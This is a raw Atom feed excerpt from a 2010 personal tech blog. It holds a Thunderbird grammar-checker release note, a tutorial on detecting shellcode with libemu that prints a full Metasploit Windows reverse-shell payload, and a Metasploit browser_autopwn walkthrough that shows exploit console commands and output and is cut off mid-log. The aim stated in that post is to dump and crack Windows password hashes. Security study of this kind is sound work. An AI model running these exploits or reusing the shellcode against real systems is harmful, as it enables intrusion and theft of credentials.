&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1743579561362988107?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1743579561362988107/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/11/settling-in-canada.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1743579561362988107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1743579561362988107'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/11/settling-in-canada.html' title='Settling in Canada'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-9191887997933462402</id><published>2010-10-21T18:24:00.005-07:00</published><updated>2010-10-21T18:32:09.742-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='grammar'/><category scheme='http://www.blogger.com/atom/ns#' term='languagetool'/><category scheme='http://www.blogger.com/atom/ns#' term='thunderbird'/><title type='text'>Thunderbird Grammar Checker 0.5 is released</title><content type='html'>Link: &lt;a href="https://addons.mozilla.org/en-US/thunderbird/addon/14781/"&gt;https://addons.mozilla.org/en-US/thunderbird/addon/14781/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now it's compatible with Thunderbird 3.x. The language for checking is correlated with the Spell Checker language. Sorry for delay, but my work load can't give me enough time to support it well.&lt;br /&gt;
&lt;br /&gt;
Future plans:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Support inline highlighting. Backend is almost ready, but there are some problems with frontend - I just don't know how to properly modify DOM of the opened message compose window. Looks like I have to use/hook some JS-events, but my current research gives nothing.&lt;/li&gt;
&lt;li&gt;Move to &lt;a href="http://afterthedeadline.com/"&gt;After The Deadline&lt;/a&gt; server instead of LT server-mode. LT is integrated to AtD server (see the News section on&lt;a href="http://www.languagetool.org/"&gt; http://www.languagetool.org/&lt;/a&gt;). However,&amp;nbsp;there is a problem with the current AtD server - it doesn't work locally now: &lt;a href="http://openatd.trac.wordpress.org/ticket/217"&gt;http://openatd.trac.wordpress.org/ticket/217&lt;/a&gt;. Until they fix the problem, I can't recommend to use it.&lt;/li&gt;
&lt;li&gt;Implement pure JS-based Grammar Checker engine. See below the notes.&lt;/li&gt;
&lt;/ul&gt;
All of these require some time and efforts, and I gladly accept all the help for contributing in this addon.&lt;br /&gt;
&lt;br /&gt;
An example of LanguageTool &lt;a href="http://languagetool.cvs.sourceforge.net/viewvc/languagetool/JLanguageTool/src/rules/en/grammar.xml?view=markup"&gt;rule&lt;/a&gt;:&lt;br /&gt;
&lt;small&gt;
&lt;pre&gt;&lt;code class="xml"&gt;&amp;lt;rule&amp;gt;
    &amp;lt;pattern mark_to="-1"&amp;gt;
        &amp;lt;token postag="SENT_START"&amp;gt;&amp;lt;/token&amp;gt;
        &amp;lt;token&amp;gt;this&amp;lt;/token&amp;gt;
        &amp;lt;token regexp="yes"&amp;gt;are|were&amp;lt;/token&amp;gt;
    &amp;lt;/pattern&amp;gt;
    &amp;lt;message&amp;gt;Did you mean &amp;lt;suggestion&amp;gt;these&amp;lt;/suggestion&amp;gt;?&amp;lt;/message&amp;gt;
    &amp;lt;short&amp;gt;Grammatical problem&amp;lt;/short&amp;gt;
    &amp;lt;example type="correct"&amp;gt;These are errors.&amp;lt;/example&amp;gt;
    &amp;lt;example correction="These" type="incorrect"&amp;gt;&amp;lt;marker&amp;gt;This&amp;lt;/marker&amp;gt; are errors.&amp;lt;/example&amp;gt;
&amp;lt;/rule&amp;gt; 
&lt;/code&gt;&lt;/pre&gt;
&lt;/small&gt;
&lt;br /&gt;
As you can see, it is required to support XML parsing, regular expressions and FSM capabilities. All of these can be done in JavaScript, so it's matter only of time and efforts to create pure JS-based engine. As soon as it is implemented, all the dependencies from LT or AtD can be removed.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-9191887997933462402?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/9191887997933462402/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/10/thunderbird-grammar-checker-05-is.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/9191887997933462402'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/9191887997933462402'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/10/thunderbird-grammar-checker-05-is.html' title='Thunderbird Grammar Checker 0.5 is released'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-253678457511729970</id><published>2010-10-16T01:50:00.001-07:00</published><updated>2010-10-21T18:49:41.692-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='libemu'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Shellcode detection using libemu</title><content type='html'>Shellcode can be seen as a list of instructions that has been developed in a manner that allows it to be injected in an application during runtime. Each security researcher face the shellcodes during their work, and in this article I'll show how to detect shellcodes using Python (via libemu Python binding).&lt;br /&gt;
&lt;br /&gt;
Few words about &lt;a href="http://libemu.carnivore.it/"&gt;libemu&lt;/a&gt;:&lt;br /&gt;
&lt;blockquote&gt;
libemu is a small library written in C offering basic x86 emulation and 
 shellcode detection using GetPC heuristics. Intended use is within network intrusion/prevention detections and honeypots.&lt;/blockquote&gt;
The information on the site is not actual in some places, so I'll give direct and clear instruction how to get and install libemu.&lt;br /&gt;
&lt;br /&gt;
Clone the git repository:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code class="bash"&gt;$ git clone git://git.carnivore.it/libemu.git
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Firstly, configure, make and install libemu itself (without binding):&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code class="bash"&gt;$ autoreconf -v -i
$ ./configure --prefix=/opt/libemu
$ make
$ sudo make install
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
If you set up prefix as shown above, you have to add the library path to /etc/ld.so.conf file. It should looks like:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;include /etc/ld.so.conf.d/*.conf
/opt/libemu/lib&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
After that, update the linker run-time database:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;$ sudo ldconfig&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
Now it's time to build python bindings (the configure is not complete, so some configuring must be done by hands):&lt;br /&gt;
&lt;br /&gt;
&lt;small&gt;
&lt;pre&gt;&lt;code class="bash"&gt;$ ./configure –prefix=/opt/libemu/ –enable-python-bindings
$ cp bindings/python/setup.py bindings/python/setup.py.orig
$ sed -e 's/${prefix}/\/opt\/libemu/' bindings/python/setup.py &amp;gt; bindings/python/setup.py.tmp
$ sed -e 's/${exec_prefix}/\/opt\/libemu/' bindings/python/setup.py.tmp &amp;gt; bindings/python/setup.py
$ rm -f binfings/python/setup.py.tmp
$ make
$ sudo make install
&lt;/code&gt;&lt;/pre&gt;&lt;/small&gt;
&lt;br /&gt;
That's all - Python binding is ready. Let's test sample string:&lt;br /&gt;
&lt;br /&gt;
&lt;small&gt;
&lt;pre&gt;&lt;code&gt;
$ python
Python 2.6.6 (r266:84292, Sep 15 2010, 16:22:56)
[GCC 4.4.5] on linux2
Type "help", "copyright", "credits" or "license" for more information.
&amp;gt;&amp;gt;&amp;gt; import libemu
&amp;gt;&amp;gt;&amp;gt; emulator = libemu.Emulator()
&amp;gt;&amp;gt;&amp;gt; emulator.test("hello world!")
&amp;gt;&amp;gt;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/small&gt;
&lt;br /&gt;
As you can see, for innocent string emulator test (&lt;i&gt;emu_shellcode_test&lt;/i&gt; function in C) returns nothing.&lt;br /&gt;
&lt;br /&gt;
Now let's take some real shellcode from Metasploit. It's pretty easy - some payloads in MSF are provided as shellcodes, so we have to only generate its source code:&lt;br /&gt;
&lt;br /&gt;
&lt;small&gt;&lt;pre&gt;&lt;code&gt;
msf &amp;gt; use windows/shell_reverse_tcp
msf payload(shell_reverse_tcp) &amp;gt; set LHOST 0.0.0.0
LHOST =&amp;gt; 0.0.0.0
msf payload(shell_reverse_tcp) &amp;gt; generate -t ruby
# windows/shell_reverse_tcp - 314 bytes
# http://www.metasploit.com
# LHOST=0.0.0.0, LPORT=4444, ReverseConnectRetries=5, 
# EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
buf = 
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" +
"\x00\x00\x00\x00\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56" +
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
"\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
"\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
"\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
"\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
"\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
"\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
"\x6f\x6a\x00\x53\xff\xd5"
&lt;/code&gt;&lt;/pre&gt;&lt;/small&gt;
Unfortunately, MSF can't generate source code in Python, so we'll insert Ruby expression in round brackets:&lt;br /&gt;
&lt;br /&gt;
&lt;small&gt;&lt;pre&gt;&lt;code&gt;
&amp;gt;&amp;gt;&amp;gt; shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
... "\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
... "\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
... "\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
... "\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
... "\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
... "\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
... "\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
... "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
... "\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
... "\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +
... "\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +
... "\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +
... "\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x68" +
... "\x00\x00\x00\x00\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56" +
... "\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89" +
... "\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7" +
... "\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50" +
... "\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f" +
... "\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d" +
... "\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff" +
... "\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72" +
... "\x6f\x6a\x00\x53\xff\xd5")
&amp;gt;&amp;gt;&amp;gt; emulator.test(shellcode)
-4657153
&lt;/code&gt;&lt;/pre&gt;&lt;/small&gt;
The result is the offset within the buffer where the shellcode is suspected. See the &lt;a href="http://libemu.carnivore.it/doxygen/html/emu__shellcode_8c.html"&gt;emu_shellcode_test reference&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
So, as you see, libemu is useful library, and should not be underestimated. Besides shellcode detection it can be used for various emulations, and it is extensively used in various security research project. Don't miss you chance, and use it too. Good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-253678457511729970?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/253678457511729970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/10/shellcode-detection-using-libemu.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/253678457511729970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/253678457511729970'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/10/shellcode-detection-using-libemu.html' title='Shellcode detection using libemu'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-1837128792977406468</id><published>2010-10-16T00:12:00.000-07:00</published><updated>2010-10-16T00:12:58.360-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Metasploit Browser Autopwn module</title><content type='html'>In previous article I've shown the using of &lt;b&gt;windows/browser/ms10_018_ie_behaviors&lt;/b&gt; exploit. In many cases trying exploits one by one is not acceptable, so the auxiliary modules have been created. One of these - &lt;b&gt;server/browser_autopwn&lt;/b&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
This module uses a combination of client-side and server-side techniques to fingerprint HTTP clients and then automatically exploit them.&lt;/blockquote&gt;
After successful attack it creates Meterpreter session, so you can gain a full access to target. Meterpreter is a set of tools for interacting with processes, networking, and the file system of the target. In this article we will dump the SAM hash of the target system and decrypt it using &lt;a href="http://ophcrack.sourceforge.net/"&gt;ophcrack&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Let's go directly to the actions (set the LHOST parameter according to your environment):&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;$ msfconsole &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; _ _&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (_) |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;_ __ ___&amp;nbsp;&amp;nbsp; ___| |_ __ _ ___ _ __ | | ___&amp;nbsp; _| |_&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;| | | | | |&amp;nbsp; __/ || (_| \__ \ |_) | | (_) | | |_&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |_|&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ metasploit v3.5.0-dev [core:3.5 api:1.0]&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+ -- --=[ 609 exploits - 306 auxiliary&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;+ -- --=[ 225 payloads - 27 encoders - 8 nops&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ svn r10702 updated today (2010.10.16)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf &amp;gt; use server/browser_autopwn&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf auxiliary(browser_autopwn) &amp;gt; set LHOST 192.168.1.4&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;LHOST =&amp;gt; 192.168.1.4&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf auxiliary(browser_autopwn) &amp;gt; exploit&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf auxiliary(browser_autopwn) &amp;gt; &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit modules on host 192.168.1.4...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] ---&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/shell_reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/BJgBiYk7u&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/BJgBiYk7u&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/java_calendar_deserialize with payload java/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/b4tlM3eiEU&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/b4tlM3eiEU&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/java_trusted_chain with payload java/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/kYOA4qdf&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/kYOA4qdf&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/9LcmpZH&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/9LcmpZH&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/mozilla_navigatorjava with payload generic/shell_reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: 